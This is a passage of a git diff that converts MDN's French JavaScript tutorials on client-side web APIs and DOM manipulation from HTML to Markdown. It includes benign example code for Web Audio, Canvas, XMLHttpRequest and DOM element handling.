href="/fr/docs/Web/API/AudioContext/createMediaElementSource"><code>AudioContext.createMediaElementSource()</code></a> pour créer un <code>MediaElementAudioSourceNode</code> représentant la source de notre audio — l'élément <code><audio></code> sera joué à partir de :</p> +Ensuite, nous créons des constantes qui stockent les références à nos éléments `<audio>`, `<button>` et `<input>`, et nous utilisons la méthode [`AudioContext.createMediaElementSource()`](/fr/docs/Web/API/AudioContext/createMediaElementSource) pour créer un `MediaElementAudioSourceNode` représentant la source de notre audio — l'élément `<audio>` sera joué à partir de : -<pre class="brush: js">const audioElement = document.querySelector('audio'); +```js +const audioElement = document.querySelector('audio'); const playBtn = document.querySelector('button'); const volumeSlider = document.querySelector('.volume'); -const audioSource = audioCtx.createMediaElementSource(audioElement);</pre> +const audioSource = audioCtx.createMediaElementSource(audioElement); +``` -<p>Ensuite, nous incluons deux gestionnaires d'événements qui servent à basculer entre la lecture et la pause lorsque le bouton est pressé et à réinitialiser l'affichage au début lorsque la chanson est terminée :</p> +Ensuite, nous incluons deux gestionnaires d'événements qui servent à basculer entre la lecture et la pause lorsque le bouton est pressé et à réinitialiser l'affichage au début lorsque la chanson est terminée : -<pre class="brush: js">// lecture/pause de l'audio +```js +// lecture/pause de l'audio playBtn.addEventListener('click', function() { // vérifier si le contexte est en état de suspension (politique de lecture automatique) if (audioCtx.state === 'suspended') { @@ -183,68 +183,76 @@ playBtn.addEventListener('click', function() { audioElement.addEventListener('ended', function() { playBtn.setAttribute('class', 'paused'); playBtn.textContent = 'Lire'; -});</pre> +}); +``` -<div class="note"> - <p><strong>Note :</strong> Certains d'entre vous ont peut-être remarqué que les méthodes <code>play()</code> et <code>pause()</code> utilisées pour lire et mettre en pause la piste ne font pas partie de l'API audio Web ; elles font partie de l'API <a href="/fr/docs/Web/API/HTMLMediaElement"><code>HTMLMediaElement</code></a>. qui est différente mais étroitement liée.</p> -</div> +> **Note :** Certains d'entre vous ont peut-être remarqué que les méthodes `play()` et `pause()` utilisées pour lire et mettre en pause la piste ne font pas partie de l'API audio Web ; elles font partie de l'API [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement). qui est différente mais étroitement liée. -<p>Ensuite, nous créons un objet <a href="/fr/docs/Web/API/GainNode"><code>GainNode</code></a> à l'aide de la méthode <a href="/fr/docs/Web/API/BaseAudioContext/createGain"><code>AudioContext.createGain()</code></a>, qui peut être utilisé pour ajuster le volume de l'audio qui le traverse, et nous créons un autre gestionnaire d'événements qui modifie la valeur du gain (volume) du graphique audio lorsque la valeur du curseur est modifiée :</p> +Ensuite, nous créons un objet [`GainNode`](/fr/docs/Web/API/GainNode) à l'aide de la méthode [`AudioContext.createGain()`](/fr/docs/Web/API/BaseAudioContext/createGain), qui peut être utilisé pour ajuster le volume de l'audio qui le traverse, et nous créons un autre gestionnaire d'événements qui modifie la valeur du gain (volume) du graphique audio lorsque la valeur du curseur est modifiée : -<pre class="brush: js">const gainNode = audioCtx.createGain(); +```js +const gainNode = audioCtx.createGain(); volumeSlider.addEventListener('input', function() { gainNode.gain.value = this.value; -});</pre> +}); +``` -<p>La dernière chose à faire pour que cela fonctionne est de connecter les différents nœuds du graphe audio, ce qui est fait en utilisant la méthode <a href="/fr/docs/Web/API/AudioNode/connect"><code>AudioNode.connect()</code></a> disponible sur chaque type de nœud :</p> +La dernière chose à faire pour que cela fonctionne est de connecter les différents nœuds du graphe audio, ce qui est fait en utilisant la méthode [`AudioNode.connect()`](/fr/docs/Web/API/AudioNode/connect) disponible sur chaque type de nœud : -<pre class="brush: js">audioSource.connect(gainNode).connect(audioCtx.destination);</pre> +```js +audioSource.connect(gainNode).connect(audioCtx.destination); +``` -<p>L'audio commence dans la source, qui est ensuite connectée au nœud de gain afin que le volume de l'audio puisse être ajusté. Le nœud de gain est ensuite connecté au nœud de destination afin que le son puisse être lu sur votre ordinateur (la propriété <a href="/fr/docs/Web/API/BaseAudioContext/destination"><code>AudioContext.destination</code></a> représente ce qui est le <a href="/fr/docs/Web/API/AudioDestinationNode"><code>AudioDestinationNode</code></a> par défaut disponible sur le matériel de votre ordinateur, par exemple vos haut-parleurs).</p> +L'audio commence dans la source, qui est ensuite connectée au nœud de gain afin que le volume de l'audio puisse être ajusté. Le nœud de gain est ensuite connecté au nœud de destination afin que le son puisse être lu sur votre ordinateur (la propriété [`AudioContext.destination`](/fr/docs/Web/API/BaseAudioContext/destination) représente ce qui est le [`AudioDestinationNode`](/fr/docs/Web/API/AudioDestinationNode) par défaut disponible sur le matériel de votre ordinateur, par exemple vos haut-parleurs). -<h3 id="they_have_recognizable_entry_points">Elles ont des points d'entrée reconnaissables</h3> +### Elles ont des points d'entrée reconnaissables -<p>Lorsque vous utilisez une API, vous devez vous assurer que vous savez où se trouve le point d'entrée de l'API. Dans l'API Web Audio, c'est assez simple — il s'agit de l'objet <a href="/fr/docs/Web/API/AudioContext"><code>AudioContext</code></a>, qui doit être utilisé pour effectuer toute manipulation audio quelle qu'elle soit.</p> +Lorsque vous utilisez une API, vous devez vous assurer que vous savez où se trouve le point d'entrée de l'API. Dans l'API Web Audio, c'est assez simple — il s'agit de l'objet [`AudioContext`](/fr/docs/Web/API/AudioContext), qui doit être utilisé pour effectuer toute manipulation audio quelle qu'elle soit. -<p>L'API DOM (<i>Document Object Model</i>) a également un point d'entrée simple — ses fonctionnalités ont tendance à être trouvées accrochées à l'objet <a href="/fr/docs/Web/API/Document"><code>Document</code></a>, ou à une instance d'un élément HTML que vous voulez affecter d'une manière ou d'une autre, par exemple :</p> +L'API DOM (_Document Object Model_) a également un point d'entrée simple — ses fonctionnalités ont tendance à être trouvées accrochées à l'objet [`Document`](/fr/docs/Web/API/Document), ou à une instance d'un élément HTML que vous voulez affecter d'une manière ou d'une autre, par exemple : -<pre class="brush: js">const em = document.createElement('em'); // crée un nouvel élément em +```js +const em = document.createElement('em'); // crée un nouvel élément em const para = document.querySelector('p'); // référence à un élément p existant em.textContent = 'Hello there!'; // donne à em du contenu textuel -para.appendChild(em); // intégre em dans le paragraphe</pre> +para.appendChild(em); // intégre em dans le paragraphe +``` -<p>L'API <a href="/fr/docs/Web/API/Canvas_API">Canvas</a> repose également sur l'obtention d'un objet de contexte à utiliser pour manipuler les choses, bien que dans ce cas, il s'agisse d'un contexte graphique plutôt que d'un contexte audio. Son objet de contexte est créé en obtenant une référence à l'élément <a href="/fr/docs/Web/HTML/Element/canvas"><code><canvas></code></a> sur lequel vous voulez dessiner, puis en appelant sa méthode <a href="/fr/docs/Web/API/HTMLCanvasElement/getContext"><code>HTMLCanvasElement.getContext()</code></a> :</p> +L'API [Canvas](/fr/docs/Web/API/Canvas_API) repose également sur l'obtention d'un objet de contexte à utiliser pour manipuler les choses, bien que dans ce cas, il s'agisse d'un contexte graphique plutôt que d'un contexte audio. Son objet de contexte est créé en obtenant une référence à l'élément [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) sur lequel vous voulez dessiner, puis en appelant sa méthode [`HTMLCanvasElement.getContext()`](/fr/docs/Web/API/HTMLCanvasElement/getContext) : -<pre class="brush: js">const canvas = document.querySelector('canvas'); -const ctx = canvas.getContext('2d');</pre> +```js +const canvas = document.querySelector('canvas'); +const ctx = canvas.getContext('2d'); +``` -<p>Tout ce que nous voulons faire au canevas est ensuite réalisé en appelant les propriétés et les méthodes de l'objet contexte (qui est une instance de <a href="/fr/docs/Web/API/CanvasRenderingContext2D"><code>CanvasRenderingContext2D</code></a>), par exemple :</p> +Tout ce que nous voulons faire au canevas est ensuite réalisé en appelant les propriétés et les méthodes de l'objet contexte (qui est une instance de [`CanvasRenderingContext2D`](/fr/docs/Web/API/CanvasRenderingContext2D)), par exemple : -<pre class="brush: js">Ball.prototype.draw = function() { +```js +Ball.prototype.draw = function() { ctx.beginPath(); ctx.fillStyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); ctx.fill(); -};</pre> +}; +``` -<div class="note"> - <p><strong>Note :</strong> Vous pouvez voir ce code en action dans notre <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/bouncing-balls.html">démo de balles rebondissantes</a> (voyez-le fonctionner <a href="https://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html">en direct</a> également).</p> -</div> +> **Note :** Vous pouvez voir ce code en action dans notre [démo de balles rebondissantes](https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/bouncing-balls.html) (voyez-le fonctionner [en direct](https://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html) également). -<h3 id="they_use_events_to_handle_changes_in_state">Elles utilisent des événements pour gérer les changements d'état</h3> +### Elles utilisent des événements pour gérer les changements d'état -<p>Nous avons déjà abordé les événements plus tôt dans le cours dans notre article <a href="/fr/docs/Learn/JavaScript/Building_blocks/Events">Introduction aux événements</a>, qui examine en détail ce que sont les événements web côté client et comment ils sont utilisés dans votre code. Si vous n'êtes pas déjà familiarisé avec le fonctionnement des événements de l'API Web côté client, nous vous conseillons de lire cet article avant de poursuivre.</p> +Nous avons déjà abordé les événements plus tôt dans le cours dans notre article [Introduction aux événements](/fr/docs/Learn/JavaScript/Building_blocks/Events), qui examine en détail ce que sont les événements web côté client et comment ils sont utilisés dans votre code. Si vous n'êtes pas déjà familiarisé avec le fonctionnement des événements de l'API Web côté client, nous vous conseillons de lire cet article avant de poursuivre. -<p>Certaines API Web ne contiennent aucun événement, mais la plupart en contiennent au moins quelques-uns. Les propriétés des gestionnaires qui nous permettent d'exécuter des fonctions lorsque des événements se produisent sont généralement répertoriées dans notre matériel de référence dans des sections distinctes intitulées « Gestionnaires d'événements ».</p> +Certaines API Web ne contiennent aucun événement, mais la plupart en contiennent au moins quelques-uns. Les propriétés des gestionnaires qui nous permettent d'exécuter des fonctions lorsque des événements se produisent sont généralement répertoriées dans notre matériel de référence dans des sections distinctes intitulées « Gestionnaires d'événements ». -<p>Nous avons déjà vu un certain nombre de gestionnaires d'événements utilisés dans notre exemple d'API audio Web ci-dessus.</p> +Nous avons déjà vu un certain nombre de gestionnaires d'événements utilisés dans notre exemple d'API audio Web ci-dessus. -<p>Pour fournir un autre exemple, les instances de l'objet <a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> (chacune représente une requête HTTP au serveur pour récupérer une nouvelle ressource d'un certain type) a un certain nombre d'événements disponibles sur eux, par exemple, l'événement <code>load</code> est déclenché lorsqu'une réponse a été renvoyée avec succès contenant la ressource demandée, et qu'elle est désormais disponible.</p> +Pour fournir un autre exemple, les instances de l'objet [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) (chacune représente une requête HTTP au serveur pour récupérer une nouvelle ressource d'un certain type) a un certain nombre d'événements disponibles sur eux, par exemple, l'événement `load` est déclenché lorsqu'une réponse a été renvoyée avec succès contenant la ressource demandée, et qu'elle est désormais disponible. -<p>Le code suivant fournit un exemple simple de la façon dont cela peut être utilisé :</p> +Le code suivant fournit un exemple simple de la façon dont cela peut être utilisé : -<pre class="brush: js">let requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +```js +let requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new XMLHttpRequest(); request.open('GET', requestURL); request.responseType = 'json'; @@ -254,44 +262,39 @@ request.onload = function() { const superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); -}</pre> +} +``` -<div class="note"> - <p><strong>Note :</strong> Vous pouvez voir ce code en action dans notre exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/ajax.html">ajax.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/introduction/ajax.html">voyez-le en direct</a> également).</p> -</div> +> **Note :** Vous pouvez voir ce code en action dans notre exemple [ajax.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/ajax.html) ([voyez-le en direct](https://mdn.github.io/learning-area/javascript/apis/introduction/ajax.html) également). -<p>Les cinq premières lignes spécifient l'emplacement de la ressource que nous voulons récupérer, créent une nouvelle instance d'un objet de requête en utilisant le constructeur <code>XMLHttpRequest()</code>, ouvrent une requête HTTP <code>GET</code> pour récupérer la ressource spécifiée, spécifient que la réponse doit être envoyée au format JSON, puis envoient la requête.</p> +Les cinq premières lignes spécifient l'emplacement de la ressource que nous voulons récupérer, créent une nouvelle instance d'un objet de requête en utilisant le constructeur `XMLHttpRequest()`, ouvrent une requête HTTP `GET` pour récupérer la ressource spécifiée, spécifient que la réponse doit être envoyée au format JSON, puis envoient la requête. -<p>La fonction du gestionnaire <code>onload</code> précise ensuite ce que nous faisons de la réponse. Nous savons que la réponse sera renvoyée avec succès et disponible après le déclenchement de l'événement load (sauf si une erreur s'est produite), nous sauvegardons donc la réponse contenant le JSON renvoyé dans la variable <code>superHeroes</code>, puis nous la passons à deux fonctions différentes pour un traitement ultérieur.</p> +La fonction du gestionnaire `onload` précise ensuite ce que nous faisons de la réponse. Nous savons que la réponse sera renvoyée avec succès et disponible après le déclenchement de l'événement load (sauf si une erreur s'est produite), nous sauvegardons donc la réponse contenant le JSON renvoyé dans la variable `superHeroes`, puis nous la passons à deux fonctions différentes pour un traitement ultérieur. -<h3 id="they_have_additional_security_mechanisms_where_appropriate">Elles disposent de mécanismes de sécurité supplémentaires adéquats</h3> +### Elles disposent de mécanismes de sécurité supplémentaires adéquats -<p>Les fonctionnalités des API Web sont soumises aux mêmes considérations de sécurité que JavaScript et les autres technologies web (par exemple <a href="/fr/docs/Web/Security/Same-origin_policy">same-origin policy</a>), mais elles disposent parfois de mécanismes de sécurité supplémentaires. Par exemple, certaines des API Web les plus modernes ne fonctionneront que sur des pages servies par HTTPS, car elles transmettent des données potentiellement sensibles (par exemple <a href="/fr/docs/Web/API/Service_Worker_API">Service Workers</a> et <a href="/fr/docs/Web/API/Push_API">Push</a>).</p> +Les fonctionnalités des API Web sont soumises aux mêmes considérations de sécurité que JavaScript et les autres technologies web (par exemple [same-origin policy](/fr/docs/Web/Security/Same-origin_policy)), mais elles disposent parfois de mécanismes de sécurité supplémentaires. Par exemple, certaines des API Web les plus modernes ne fonctionneront que sur des pages servies par HTTPS, car elles transmettent des données potentiellement sensibles (par exemple [Service Workers](/fr/docs/Web/API/Service_Worker_API) et [Push](/fr/docs/Web/API/Push_API)). -<p>En outre, certaines API Web demandent la permission d'être activées à l'utilisateur une fois que les appels à ces interfaces sont effectués dans votre code. À titre d'exemple, l'API <a href="/fr/docs/Web/API/Notifications_API">Notifications API</a> demande la permission à l'aide d'une boîte de dialogue contextuelle :</p> +En outre, certaines API Web demandent la permission d'être activées à l'utilisateur une fois que les appels à ces interfaces sont effectués dans votre code. À titre d'exemple, l'API [Notifications API](/fr/docs/Web/API/Notifications_API) demande la permission à l'aide d'une boîte de dialogue contextuelle : -<p><img alt="" src="notification-permission.png"></p> + -<p>Les API Web Audio et <a href="/fr/docs/Web/API/HTMLMediaElement"><code>HTMLMediaElement</code></a> sont soumises à un mécanisme de sécurité appelé <a href="/fr/docs/Web/API/Web_Audio_API/Best_practices#autoplay_policy">autoplay policy</a> - cela signifie essentiellement que vous ne pouvez pas lire automatiquement l'audio lorsqu'une page se charge — vous devez permettre à vos utilisateurs de déclencher la lecture audio par le biais d'un contrôle comme un bouton. Cette mesure est prise parce que la lecture automatique de l'audio est généralement très ennuyeuse et que nous ne devrions pas y soumettre nos utilisateurs.</p> +Les API Web Audio et [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement) sont soumises à un mécanisme de sécurité appelé [autoplay policy](/fr/docs/Web/API/Web_Audio_API/Best_practices#autoplay_policy) - cela signifie essentiellement que vous ne pouvez pas lire automatiquement l'audio lorsqu'une page se charge — vous devez permettre à vos utilisateurs de déclencher la lecture audio par le biais d'un contrôle comme un bouton. Cette mesure est prise parce que la lecture automatique de l'audio est généralement très ennuyeuse et que nous ne devrions pas y soumettre nos utilisateurs. -<div class="note"> - <p><strong>Note :</strong> Selon la rigueur du navigateur, ces mécanismes de sécurité peuvent même empêcher l'exemple de fonctionner localement, c'est-à-dire si vous chargez le fichier d'exemple local dans votre navigateur au lieu de l'exécuter à partir d'un serveur web. Au moment de la rédaction de ce document, notre exemple d'API Web Audio ne fonctionnait pas localement sur Google Chrome — nous avons dû le télécharger sur GitHub avant qu'il ne fonctionne.</p> -</div> +> **Note :** Selon la rigueur du navigateur, ces mécanismes de sécurité peuvent même empêcher l'exemple de fonctionner localement, c'est-à-dire si vous chargez le fichier d'exemple local dans votre navigateur au lieu de l'exécuter à partir d'un serveur web. Au moment de la rédaction de ce document, notre exemple d'API Web Audio ne fonctionnait pas localement sur Google Chrome — nous avons dû le télécharger sur GitHub avant qu'il ne fonctionne. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>À ce stade, vous devriez avoir une bonne idée de ce que sont les API, de leur fonctionnement et de ce que vous pouvez faire avec dans votre code JavaScript. Vous avec probablement hâte de commencer à faire des choses amusantes avec des API spécifiques, alors allons-y ! Par la suite, nous verrons comment manipuler des documents avec le <i>Document Object Model</i> (DOM).</p> +À ce stade, vous devriez avoir une bonne idée de ce que sont les API, de leur fonctionnement et de ce que vous pouvez faire avec dans votre code JavaScript. Vous avec probablement hâte de commencer à faire des choses amusantes avec des API spécifiques, alors allons-y ! Par la suite, nous verrons comment manipuler des documents avec le _Document Object Model_ (DOM). -<p>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</p> +{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">API tierces</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">API vidéo et audio</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> +- [Introduction aux API du Web](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) +- [API tierces](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [API vidéo et audio](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.md b/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.md index 8025213ac4..817a4b6212 100644 --- a/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.md @@ -16,317 +16,330 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents original_slug: Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> - -<p>Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet <a href="/fr/docs/Web/API/Document"><code>Document</code></a>. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.</p> +Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet [`Document`](/fr/docs/Web/API/Document). Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances de base en informatique, notions de base d'HTML, CSS, et JavaScript — dont les objets JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec les APIs DOM, et autres APIs souvent associées au DOM et à la manipulation de document</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances de base en informatique, notions de base d'HTML, CSS, et + JavaScript — dont les objets JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec les APIs DOM, et autres APIs souvent associées au + DOM et à la manipulation de document + </td> + </tr> + </tbody> </table> -<h2 id="the_important_parts_of_a_web_browser">Les principaux composants du navigateur</h2> +## Les principaux composants du navigateur + +Les navigateurs web sont des logiciels très complexes avec beaucoup de composants, dont beaucoup ne peuvent pas être contrôlés ou manipulés en utilisant JavaScript. Vous pourriez penser que de telles limitations sont une mauvaise chose, mais les navigateurs sont verrouillés pour de bonnes raisons, la plupart du temps pour des raisons de sécurité. Imaginez qu'un site web puisse accéder à vos mots de passe stockés ou à d'autres informations sensibles, ou se connecter à des sites web comme si c'était vous? + +Malgré les limitations, les APIs Web nous donnent accès à beaucoup de fonctionnalités, lesquelles nous permettent de faire plein de choses géniales avec les pages web. Il existe quelques éléments évidents que vous utilisez régulièrement dans votre code — jetez un coup d'œil au diagramme suivant, il représente les principaux composants du navigateur directement impliqués dans l'affichage des pages web: + + + +- La _fenêtre_ est l'onglet du navigateur dans lequel une page web est chargée. Elle est représentée en JavaScript par l'objet [`Window`](/fr/docs/Web/API/Window). Utiliser les méthodes disponibles sur cet objet nous permet par exemple de récupérer la taille de la fenêtre (voir [`Window.innerWidth`](/fr/docs/Web/API/Window/innerWidth) et [`Window.innerHeight`](/fr/docs/Web/API/Window/innerHeight)), manipuler le document chargé dans cette fenêtre, stocker des données spécifiques à ce document côté client (par exemple en utilisant une base de données locale ou autre mécanisme de stockage), attacher un [gestionnaire d'événement](/fr/docs/Learn/JavaScript/Building_blocks/Events) à la fenêtre en cours, et plus encore. +- Le _navigateur_ représente l'état et l'identité du navigateur web (le user-agent par exemple) tel qu'il existe sur le Web. En JavaScript, il est représenté par l'objet [`Navigator`](/fr/docs/Web/API/Navigator). Vous pouvez utiliser cet objet pour récupérer des informations telles que la géolocalisation, les préférences de langue de l'utilisateur, un flux vidéo en provenance de la webcam de l'utilisateur, etc. +- Le _document_ (accédé par le DOM dans les navigateurs) est la page actuellement chargée dans la fenêtre. Il est représenté en JavaScript par l'objet [`Document`](/fr/docs/Web/API/Document). Vous pouvez utiliser cet objet pour retourner et manipuler les éléments HTML et CSS qui composent le document. Par exemple: récupérer un élément dans le DOM, changer son texte, appliquer de nouveaux styles dessus, créer de nouveaux éléments et les ajouter à un élément comme enfant, ou même en supprimer. + +Dans cet article, nous allons principalement nous concentrer sur la manipulation du document, mais nous verrons également quelques autres éléments utiles. + +## Le modèle objet du document (Document Object Model) + +Le document chargé dans chaque onglet de votre navigateur, et donc son contenu, est accessible via un modèle objet du document — Document Objet Model en anglais, ou DOM. Il s'agit d'une structure arborescente créée par le navigateur et qui permet aux langages de programmation d'accéder facilement à la structure HTML — par exemple, le navigateur lui-même l'utilise pour appliquer différents styles aux éléments correspondants sur la page, tandis qu'un développeur comme vous et moi peut l'utiliser pour manipuler le DOM avec du JavaScript après que la page ait été chargée. + +Nous avons créé une simple page d'exemple, [dom-example.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html) ([voir en direct](https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html)). Essayez de l'ouvrir dans votre navigateur — c'est une page très simple qui contient un élément [`<section>`](/fr/docs/Web/HTML/Element/section), à l'intérieur duquel se trouve une image et un paragraphe avec un lien. Le code source HTML ressemble à ça: + +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Simple DOM example</title> + </head> + <body> + <section> + <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> + <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p> + </section> + </body> +</html> +``` + +Le DOM, quant à lui, ressemble à ça : + + + +> **Note :** Ce diagramme du DOM a été créé en utilisant le [Live DOM viewer](https://software.hixie.ch/utilities/js/live-dom-viewer/) de Ian Hickson. + +Vous pouvez voir ici que chaque élément et morceau de texte dans le document possède sa propre entrée dans l'arbre — chacune étant appelée **nœud** (_node_). Vous rencontrerez également plusieurs termes pour décrire les différents type de nœuds ou leur position dans l'arbre les uns par rapport aux autres : + +- **Nœud élément (_element node_)** : N'importe quel élément, tel qu'il existe dans le DOM. +- **Racine (_root_)** : Le nœud de plus haut niveau dans l'arbre. Dans le cas d'un document HTML, il s'agit toujours du nœud `HTML` (d'autres langages de balisage tels que SVG et XML auront des racines différentes). +- **Enfant (_child_)** : Un nœud _directement_ à l'intérieur d'un autre nœud. Ainsi, dans l'exemple ci-dessus, `IMG` est un enfant de `SECTION`. +- **Descendant** : Un nœud _n'importe où_ à l'intérieur d'un autre nœud. Par exemple, `IMG` est un enfant de `SECTION` mais également l'un de ses descendants. En revanche `IMG` n'est pas un enfant de `BODY`, puisqu'il est deux niveaux plus bas dans l'arbre, mais il est un de ses descendants. +- **Parent** : Un nœud qui a un autre nœud _directement_ à l'intérieur. Par exemple, `BODY` est le parent de `SECTION`. +- **Ancêtre (_ancestor_)** : Un nœud qui a un autre nœud _n'importe où_ à l'intérieur. Par exemple, `BODY` est l'ancêtre d'`IMG`. +- **Frères et sœurs (_sibling_)** : Des nœuds qui ont le même parent. Par exemple, `IMG` et `P` sont frères et sœurs. +- **Nœud texte (_text node_)** : Un nœud contenant une chaîne de caractères. + +Il est utile de vous familiariser avec ces termes avant de travailler avec le DOM, puisqu'un certain nombre de documentations les utilisent. Vous les avez peut-être déjà rencontrés si vous avez étudié le CSS (ex. sélecteur descendant, sélecteur enfant). + +## Apprentissage actif : Manipulations basiques du DOM + +Pour commencer l'apprentissage de la manipulation du DOM, commençons par un exemple concret. + +1. Faites une copie locale de la page [dom-example.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html) et de l'[image](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dinosaur.png) qui l'accompagne. +2. Ajoutez un élément `<script></script>` juste avant la balise fermante `</body>`. +3. Pour manipuler un élément dans le DOM, vous allez d'abord sélectionner cet élément et stocker une référence à cet élément dans une variable. À l'intérieur de votre élément `<script>`, ajoutez la ligne suivante: -<p>Les navigateurs web sont des logiciels très complexes avec beaucoup de composants, dont beaucoup ne peuvent pas être contrôlés ou manipulés en utilisant JavaScript. Vous pourriez penser que de telles limitations sont une mauvaise chose, mais les navigateurs sont verrouillés pour de bonnes raisons, la plupart du temps pour des raisons de sécurité. Imaginez qu'un site web puisse accéder à vos mots de passe stockés ou à d'autres informations sensibles, ou se connecter à des sites web comme si c'était vous?</p> + ```js + const link = document.querySelector('a'); + ``` -<p>Malgré les limitations, les APIs Web nous donnent accès à beaucoup de fonctionnalités, lesquelles nous permettent de faire plein de choses géniales avec les pages web. Il existe quelques éléments évidents que vous utilisez régulièrement dans votre code — jetez un coup d'œil au diagramme suivant, il représente les principaux composants du navigateur directement impliqués dans l'affichage des pages web:</p> +4. Maintenant que nous avons la référence à l'élément enregistrée dans une variable, nous pouvons commencer à le manipuler en utilisant les propriétés et les méthodes qui lui sont associées (celles-ci sont définies sur les interfaces telles que [`HTMLAnchorElement`](/fr/docs/Web/API/HTMLAnchorElement) dans le cas d'un élément [`<a>`](/fr/docs/Web/HTML/Element/a), et sur les interfaces plus génériques [`HTMLElement`](/fr/docs/Web/API/HTMLElement), et [`Node`](/fr/docs/Web/API/Node) — qui représente tous les nœuds d'un DOM). Tout d'abord, changeons le texte du lien en mettant à jour la valeur de la propriété [`Node.textContent`](/fr/docs/Web/API/Node/textContent). Ajoutez la ligne suivante à la suite de la précédente : -<p><img alt="" src="document-window-navigator.png"></p> - -<ul> - <li>La <em>fenêtre</em> est l'onglet du navigateur dans lequel une page web est chargée. Elle est représentée en JavaScript par l'objet <a href="/fr/docs/Web/API/Window"><code>Window</code></a>. Utiliser les méthodes disponibles sur cet objet nous permet par exemple de récupérer la taille de la fenêtre (voir <a href="/fr/docs/Web/API/Window/innerWidth"><code>Window.innerWidth</code></a> et <a href="/fr/docs/Web/API/Window/innerHeight"><code>Window.innerHeight</code></a>), manipuler le document chargé dans cette fenêtre, stocker des données spécifiques à ce document côté client (par exemple en utilisant une base de données locale ou autre mécanisme de stockage), attacher un <a href="/fr/docs/Learn/JavaScript/Building_blocks/Events">gestionnaire d'événement</a> à la fenêtre en cours, et plus encore.</li> - <li>Le <em>navigateur</em> 